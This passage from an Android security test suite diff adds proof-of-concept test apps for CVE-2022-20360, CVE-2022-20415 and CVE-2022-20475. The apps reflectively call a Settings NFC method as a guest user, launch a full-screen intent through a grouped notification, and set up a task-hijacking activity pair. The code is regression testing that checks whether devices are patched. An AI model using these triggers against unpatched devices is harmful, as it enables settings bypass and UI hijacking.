+ /* set NOTICE.html file uri as EXTRA_RINGTONE_PICKED_URI which sets NOTICE.html as */
+ /* default ringtone if vulnerability is present */
+ intent.putExtra(RingtoneManager.EXTRA_RINGTONE_PICKED_URI,
+ Uri.parse(getString(R.string.noticeUri)));
+ setResult(Activity.RESULT_OK, intent);
+ finish();
+ sendTestResult(getResources().getInteger(R.integer.success), "");
+ } catch (Exception e) {
+ sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ }
+
+ void sendTestResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/Android.bp
similarity index 87%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20360/Android.bp
index 09297b2..d9f8554 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/Android.bp
@@ -20,12 +20,12 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2022-20360",
defaults: [
- "cts_defaults",
+ "cts_support_defaults"
],
srcs: [
- "src/**/*.java",
+ "src/**/*.java"
],
test_suites: [
"sts",
@@ -33,7 +33,6 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/AndroidManifest.xml
new file mode 100644
index 0000000..9e2361a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/AndroidManifest.xml
@@ -0,0 +1,23 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20360">
+ <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20360" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/res/values/strings.xml
new file mode 100644
index 0000000..9476f7a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="defaultSettingsPkg">com.android.settings</string>
+ <string name="disableSecureNfcFailed">Disabling secure NFC failed</string>
+ <string name="key">key</string>
+ <string name="msgDeviceLocked">Device is in sleep or locked mode</string>
+ <string name="msgTestFail"> Device is vulnerable to b/228314987!! Secure nfc can be disabled in
+ guest user via SettingsSlice</string>
+ <string name="secureNfcPreferenceControllerClassName">.nfc.SecureNfcPreferenceController
+ </string>
+ <string name="setCheckedMethod">setChecked</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/src/android/security/cts/CVE_2022_20360/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/src/android/security/cts/CVE_2022_20360/DeviceTest.java
new file mode 100644
index 0000000..6879d98
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20360/src/android/security/cts/CVE_2022_20360/DeviceTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20360;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.KeyguardManager;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.nfc.NfcAdapter;
+import android.nfc.NfcManager;
+import android.os.PowerManager;
+import android.os.UserManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testSecureNfcPreferenceController() {
+ UiAutomation uiAutomation = null;
+ try {
+ Context context = getApplicationContext();
+ uiAutomation = getInstrumentation().getUiAutomation();
+
+ try (AutoCloseable withSecureNfc = withSecureNfcDisabled(context)) {
+ // Retrieve settings package name dynamically
+ Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+ ComponentName settingsComponent =
+ settingsIntent.resolveActivity(context.getPackageManager());
+ String settingsPkgName =
+ settingsComponent != null
+ ? settingsComponent.getPackageName()
+ : context.getString(R.string.defaultSettingsPkg);
+
+ // Get vulnerable method 'setChecked' using reflection
+ Context settingsContext =
+ context.createPackageContext(
+ settingsPkgName,
+ Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
+ ClassLoader settingsClassLoader = settingsContext.getClassLoader();
+ Class<?> targetClass =
+ settingsClassLoader.loadClass(
+ settingsPkgName
+ + context.getString(
+ R.string.secureNfcPreferenceControllerClassName));
+ Constructor<?> targetClassCstr =
+ targetClass.getConstructor(Context.class, String.class);
+ Object targetClassobject =
+ targetClassCstr.newInstance(context, context.getString(R.string.key));
+ Method setCheckedMethod =
+ targetClass.getDeclaredMethod(
+ context.getString(R.string.setCheckedMethod), boolean.class);
+ setCheckedMethod.setAccessible(true);
+
+ // Check if current user is guest user
+ uiAutomation.adoptShellPermissionIdentity(android.Manifest.permission.CREATE_USERS);
+ UserManager userManager = context.getSystemService(UserManager.class);
+ assumeTrue(userManager.isGuestUser());
+
+ // Invoke vulnerable method 'setChecked'
+ boolean retVal = (boolean) setCheckedMethod.invoke(targetClassobject, true);
+ assertFalse(context.getString(R.string.msgTestFail), retVal);
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ uiAutomation.dropShellPermissionIdentity();
+ } catch (Exception ignored) {
+ // Ignore any exception here
+ }
+ }
+ }
+
+ private AutoCloseable withSecureNfcDisabled(Context context) {
+ // Secure NFC APIs require device to be unlocked hence check if device is unlocked
+ PowerManager powerManager = context.getSystemService(PowerManager.class);
+ KeyguardManager keyguardManager = context.getSystemService(KeyguardManager.class);
+ assumeTrue(
+ context.getString(R.string.msgDeviceLocked),
+ powerManager.isInteractive() && !keyguardManager.isKeyguardLocked());
+
+ // Save secure NFC state(enabled/disabled) and disable secure NFC for test
+ NfcManager nfcManager = context.getSystemService(NfcManager.class);
+ NfcAdapter nfcAdapter = nfcManager.getDefaultAdapter();
+ boolean secureNfcEnabled = nfcAdapter.isSecureNfcEnabled();
+ if (secureNfcEnabled) {
+ nfcAdapter.enableSecureNfc(false);
+ }
+ assumeFalse(
+ context.getString(R.string.disableSecureNfcFailed),
+ nfcAdapter.isSecureNfcEnabled());
+ return new AutoCloseable() {
+ @Override
+ public void close() throws Exception {
+ // Disable secure NFC if it was disabled before the test
+ if (!secureNfcEnabled) {
+ nfcAdapter.enableSecureNfc(false);
+ }
+ }
+ };
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/Android.bp
similarity index 80%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20415/Android.bp
index 09297b2..1ba587f 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,10 +20,8 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
- defaults: [
- "cts_defaults",
- ],
+ name: "CVE-2022-20415",
+ defaults: ["cts_support_defaults"],
srcs: [
"src/**/*.java",
],
@@ -33,7 +31,6 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
- platform_apis: true,
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/AndroidManifest.xml
new file mode 100644
index 0000000..476cf0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20415">
+ <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
+ <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+ <application>
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20415" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/integers.xml
new file mode 100644
index 0000000..f2cba3d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/integers.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <integer name="height">50</integer>
+ <integer name="idSummaryNotification">0</integer>
+ <integer name="idTestNotification">1</integer>
+ <integer name="requestCodeIntent">0</integer>
+ <integer name="width">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/strings.xml
new file mode 100644
index 0000000..195d696
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="idNotificationChannel">testId</string>
+ <string name="msgFailure">Device is vulnerable to b/231322873 !!</string>
+ <string name="nameBroadcastActionString">CVE_2022_20415_action</string>
+ <string name="nameNotificationChannel">b/231322873 notification</string>
+ <string name="tagNotify">NOTIFY_TAG</string>
+ <string name="textSummaryNotification">Summary Content</string>
+ <string name="titlePocNotification">PoC</string>
+ <string name="titleSummaryNotification">Summary Title</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/DeviceTest.java
new file mode 100644
index 0000000..6872351
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/DeviceTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20415;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Icon;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private Context mContext;
+ private NotificationManager mNotificationManager;
+ private Resources mResources;
+
+ Icon createNotificationIcon() {
+ Bitmap testBitmap = Bitmap.createBitmap(mResources.getInteger(R.integer.width),
+ mResources.getInteger(R.integer.height), Bitmap.Config.ARGB_8888);
+ final Canvas canvas = new Canvas(testBitmap);
+ canvas.drawColor(Color.BLUE);
+ return Icon.createWithBitmap(testBitmap);
+ }
+
+ public void tryNotificationStart() throws Exception {
+ Icon icon = createNotificationIcon();
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext,
+ mResources.getInteger(R.integer.requestCodeIntent),
+ new Intent(mContext, PocActivity.class), PendingIntent.FLAG_IMMUTABLE);
+ NotificationChannel notificationChannel =
+ new NotificationChannel(mContext.getString(R.string.idNotificationChannel),
+ mContext.getString(R.string.nameNotificationChannel),
+ NotificationManager.IMPORTANCE_MAX);
+ notificationChannel.setDescription(mContext.getString(R.string.nameNotificationChannel));
+ mNotificationManager.createNotificationChannel(notificationChannel);
+ Notification summaryNotification = new Notification.Builder(mContext,
+ mContext.getString(R.string.idNotificationChannel))
+ .setContentTitle(mContext.getString(R.string.titleSummaryNotification))
+ .setContentText(mContext.getString(R.string.textSummaryNotification))
+ .setSmallIcon(icon).setGroup(mContext.getPackageName())
+ .setGroupSummary(true /* make summaryNotification a group summary */)
+ .build();
+ Notification pocNotification = new Notification.Builder(mContext,
+ mContext.getString(R.string.idNotificationChannel)).setSmallIcon(icon)
+ .setContentTitle(mContext.getString(R.string.titlePocNotification))
+ .setGroupAlertBehavior(Notification.GROUP_ALERT_SUMMARY)
+ .setGroup(mContext.getPackageName())
+ .setFullScreenIntent(pendingIntent, true /* high priority */).build();
+
+ mNotificationManager.notify(mContext.getString(R.string.tagNotify),
+ mResources.getInteger(R.integer.idTestNotification), pocNotification);
+ mNotificationManager.notify(mResources.getInteger(R.integer.idSummaryNotification),
+ summaryNotification);
+ }
+
+ @Test
+ public void testFullScreenIntent() {
+ try {
+ mContext = getInstrumentation().getTargetContext();
+ mNotificationManager = mContext.getSystemService(NotificationManager.class);
+ mResources = mContext.getResources();
+ Semaphore mBroadcastReceived = new Semaphore(0);
+ int timeoutMs = 20000;
+
+ // Register a broadcast receiver to receive broadcast from PocActivity indicating
+ // presence of vulnerability
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getAction()
+ .equals(mContext.getString(R.string.nameBroadcastActionString))) {
+ mBroadcastReceived.release();
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+ IntentFilter filter =
+ new IntentFilter(mContext.getString(R.string.nameBroadcastActionString));
+ mContext.registerReceiver(broadcastReceiver, filter);
+
+ tryNotificationStart();
+ assertFalse(mContext.getString(R.string.msgFailure),
+ mBroadcastReceived.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS));
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ mNotificationManager.cancel(mResources.getInteger(R.integer.idSummaryNotification));
+ mNotificationManager.cancel(mContext.getString(R.string.tagNotify),
+ mResources.getInteger(R.integer.idTestNotification));
+ } catch (Exception e) {
+ // ignore this exception
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/PocActivity.java
new file mode 100644
index 0000000..5afa191
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/PocActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20415;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ // PocActivity has been launched successfully, this indicates presence of vulnerability
+ // so broadcasting it to DeviceTest.
+ sendBroadcast(new Intent(getString(R.string.nameBroadcastActionString)));
+ } catch (Exception e) {
+ // ignore any exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
similarity index 81%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
index 50acd29..db55729 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
@@ -20,18 +20,15 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2022-20475-target",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
- static_libs: [
- "androidx.test.core",
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- ],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml
new file mode 100644
index 0000000..60fb528
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20475_target">
+ <application android:allowTaskReparenting="true">
+ <activity android:name=".TargetActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
new file mode 100644
index 0000000..c424970
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="bcastActionTarget">CVE_2022_20475_TargetActivity</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java
new file mode 100644
index 0000000..4b885c6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_target;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget)));
+ } catch (Exception ignored) {
+ }
+ }
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget)));
+ } catch (Exception ignored) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
similarity index 89%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
index 50acd29..043de912 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
@@ -20,18 +20,19 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2022-20475-test",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..2e35b65
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20475_test">
+ <application>
+ <activity android:name=".PocActivity" />
+ <activity android:name=".HijackActivity" />
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20475_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml
new file mode 100644
index 0000000..bbeb2c5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="activityTarget">android.security.cts.CVE_2022_20475_target.TargetActivity</string>
+ <string name="pkgTarget">android.security.cts.CVE_2022_20475_target</string>
+ <string name="bcastActionHijack">CVE_2022_20475_HijackActivity</string>
+ <string name="bcastActionTarget">CVE_2022_20475_TargetActivity</string>
+ <string name="msgFail">Device is vulnerable to b/240663194 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java
new file mode 100644
index 0000000..53e4c3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
